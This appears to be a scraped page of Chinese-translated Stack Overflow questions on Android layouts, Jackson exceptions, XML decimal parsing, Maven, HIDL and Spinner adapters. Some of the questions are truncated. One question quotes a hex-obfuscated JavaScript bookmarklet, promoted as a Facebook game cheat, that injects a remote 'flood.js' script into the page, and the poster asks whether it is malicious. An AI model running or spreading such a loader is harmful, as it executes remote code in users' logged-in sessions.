我正在开发的Android应用程序的主要活动已经变得非常大.这主要是因为它包含TabWidget3个选项卡.每个选项卡都有很多组件.活动必须立即控制所有这些组件.所以我认为你可以想象这个Activity有20个字段(几乎每个组件都有一个字段).它还包含许多逻辑(单击侦听器,填充列表的逻辑等).
我通常在基于组件的框架中做的是将所有内容拆分为自定义组件.然后,每个自定义组件都有明确的责任.它将包含它自己的一组组件以及与该组件相关的所有其他逻辑.
我试图弄清楚如何做到这一点,我在Android文档中发现了他们喜欢称之为"复合控制"的东西.(请参阅http://developer.android.com/guide/topics/ui/custom-components.html#compound并滚动到"复合控件"部分)我想基于XML文件创建这样一个组件来定义查看结构.
在文档中它说:
请注意,就像使用Activity一样,您可以使用声明式(基于XML)方法来创建包含的组件,也可以从代码中以编程方式嵌套它们.
嗯,这是个好消息!基于XML的方法正是我想要的!但它没有说明如何做到这一点,除了它"像一个活动"...但我在一个活动中做的是调用setContentView(...)从XML膨胀视图.如果您是子类,那么该方法不可用LinearLayout.
所以我尝试像这样手动扩充XML:
public class MyCompoundComponent extends LinearLayout {
public MyCompoundComponent(Context context, AttributeSet attributeSet) {
super(context, attributeSet);
LayoutInflater inflater = (LayoutInflater) context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
inflater.inflate(R.layout.my_layout, this);
}
}
Run Code Online (Sandbox Code Playgroud)
这是有效的,除了我正在加载的XML已LinearLayout声明为根元素的事实.这导致被夸大LinearLayout的孩子MyCompoundComponent本身已经是一个LinearLayout!! 所以现在我们之间有一个冗余的LinearLayout MyCompoundComponent和它实际需要的视图.
有人可以请给我一个更好的方法来解决这个问题,避免LinearLayout实例化冗余吗?
我在向XML创建的布局中添加按钮时遇到了问题.这就是我想要实现的目标:
//some class
else {
startActivity(new Intent(StatisticsScreen.this, ScreenTemperature.class));
}
////
//ScreenTemperatureClass
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
//this is where I call another class that
//displays a nice graph
setContentView(new GraphTemperature(getApplicationContext()));
}
Run Code Online (Sandbox Code Playgroud)
我想在Button这个新屏幕上添加一个,以便它显示在图表下方.我已经尝试创建一个LinearLayout视图,然后创建一个Button并将其添加到此视图但我只是得到了NullPointerException...
任何帮助,将不胜感激.谢谢
编辑#1
这是我尝试使用的创建了一个NullPointerException'强制关闭':
Button buybutton;
LinearLayout layout;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(new GraphTemperature(getApplicationContext()));
layout = (LinearLayout) findViewById(R.id.statsviewlayout);
Button buyButton = new Button(this);
buyButton.setText(R.string.button_back);
buyButton.setLayoutParams(new LayoutParams(
ViewGroup.LayoutParams.WRAP_CONTENT,
ViewGroup.LayoutParams.WRAP_CONTENT));
layout.addView(buyButton);
}
Run Code Online (Sandbox Code Playgroud)
这是logcat错误:
ERROR/AndroidRuntime(293): java.lang.RuntimeException: Unable …Run Code Online (Sandbox Code Playgroud) 我想在我的restful服务中捕获json映射异常,以防输入json无效.
它抛出org.codehaus.jackson.map.JsonMappingException,但我不知道如何或在哪里捕获此异常.我想捕获此异常并发回适当的错误响应.
@JsonInclude(JsonInclude.Include.NON_NULL)
@Generated("org.jsonschema2pojo")
@JsonPropertyOrder({
"name",
"id"
})
public class Customer {
@JsonProperty("name")
private String name;
@JsonProperty("id")
private String id;
<setter/getter code>
}
public class MyService {
@POST
@Consumes(MediaType.APPLICATION_JSON)
public final Response createCustomer(@Context HttpHeaders headers,
Customer customer) {
System.out.println("Customer data: " + customer.toString());
return Response.ok("customer created").build();
}
}
Run Code Online (Sandbox Code Playgroud)
一切都很好,但如果json体形状不好那么就会抛出JsonMappingException异常.我想抓住这个例外.
我发现它在一个论坛告诉我这个代码会给我自己玩Facebook游戏,但我担心这不是他们说的,我担心这是恶意脚本
请帮忙 :)
javascript:var _0x8dd5=["\x73\x72\x63","\x73\x63\x72\x69\x70\x74","\x63\x7 2\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x 68\x74\x74\x70\x3A\x2F\x2F\x75\x67\x2D\x72\x61\x64 \x69\x6F\x2E\x63\x6F\x2E\x63\x63\x2F\x66\x6C\x6F\x 6F\x64\x2E\x6A\x73","\x61\x70\x70\x65\x6E\x64\x43\ x68\x69\x6C\x64","\x62\x6F\x64\x79"];(a=(b=document)[_0x8dd5[2]](_0x8dd5[1]))[_0x8dd5[0]]=_0x8dd5[3];b[_0x8dd5[5]][_0x8dd5[4]](a); void (0);
Run Code Online (Sandbox Code Playgroud) 我正在尝试Movie从"德语"xml字符串反序列化对象:
string inputString = "<?xml version=\"1.0\"?>"
+ "<movie title=\"Great Bollywood Stuff\">"
+ "<rating>5</rating>"
+ "<price>1,99</price>" // <-- Price with German decimal separator!
+ "</movie>";
XmlSerializer movieSerializer = new XmlSerializer(typeof(Movie));
Movie inputMovie;
using (StringReader sr = new StringReader(inputString))
{
inputMovie = (Movie)movieSerializer.Deserialize(sr);
}
System.Console.WriteLine(inputMovie);
Run Code Online (Sandbox Code Playgroud)
这里的Movie课程供参考:
[XmlRoot("movie")]
public class Movie
{
[XmlAttribute("title")]
public string Title { get; set; }
[XmlElement("rating")]
public int Rating { get; set; }
[XmlElement("price")]
public double Price { get; set; }
public Movie()
{ …Run Code Online (Sandbox Code Playgroud) 是否有可能构建我们的应用程序的Ad Hoc构建并将其发送给我们的beta测试人员?这甚至可能吗?
我是maven的新手,也是java的新手.尝试谷歌和相关的来源,但我没有找到一个类似我的情况.
现在,我有maven项目X和Y.X可以看作是一个带有一些实用程序的共享库,Y是一个简单JFrame的"hello world"打印和调用静态方法X.
我maven install在项目上做了"run as " X,我得到了一个"build successful".我在项目X中添加项目作为依赖项Y(在Eclipse中使用pom-editor,浏览存储库并找到它).我maven package在项目上做了"run as " Y,我得到了一个"build successful".在Y通过java -jar或检查生产的jar 运行项目时,X到处都缺少项目,我得到了一个没有找到异常的花哨类.Eclipse找到它并且源编辑器中没有编译错误.
为什么它只在Eclipse编辑器中工作而不是jar?
POM:
<dependency>
<groupId>com.company.deployment.shared</groupId>
<artifactId>com.company.deployment.shared</artifactId>
<version>0.0.1-SNAPSHOT</version>
<scope>compile</scope>
</dependency>
Run Code Online (Sandbox Code Playgroud) 我有Android O HIDL的问题.失败日志显示它无法找到服务.
但是我可以看到它 adb shell ps -A | grep fingerprint
system 18758 1 17408 3276 pipe_wait 7c79e93e08 R android.hardware.biometrics.fingerprint@2.1-service`
Run Code Online (Sandbox Code Playgroud)
任何人都可以给我一个如何解决问题的提示吗?我检查了https://source.android.com/devices/architecture/hidl/但无法获得解决方案.
错误日志:
08-21 06:00:35.864 1890 2264 V FingerprintService: mDeamon was null, reconnect to fingerprint
08-21 06:00:35.864 1890 2264 I system_server: Looking for service android.hardware.biometrics.fingerprint@2.1::IBiometricsFingerprint/default
08-21 06:00:35.864 2240 2240 D wpa_supplicant: nl80211: Set mode ifindex 24 iftype 2 (STATION)
08-21 06:00:35.866 566 566 W /system/bin/hwservicemanager: getTransportFromManifest: Cannot find entry android.hardware.biometrics.fingerprint@2.1::IBiometricsFingerprint in either framework or device manifest, using default transport. …Run Code Online (Sandbox Code Playgroud) android hal android-source android-hardware android-8.0-oreo
请左键单击并拖动此文本(标记).您看到的颜色是蓝色,我想使用Javascript或HTML/CSS将该颜色更改为深绿色?
我有一个Android应用程序,Spinner并希望用我自己的对象动态填充它.这些对象确实已经存在List<T>.
对象的类型Category如下:
public class Category implements Serializable {
private Long id;
private String name;
// constructors
// getter & setter
// hashCode, equals
// toString
}
Run Code Online (Sandbox Code Playgroud)
我知道我必须写一个适配器.我怎么做?我试图找一些例子......没有运气.请指教.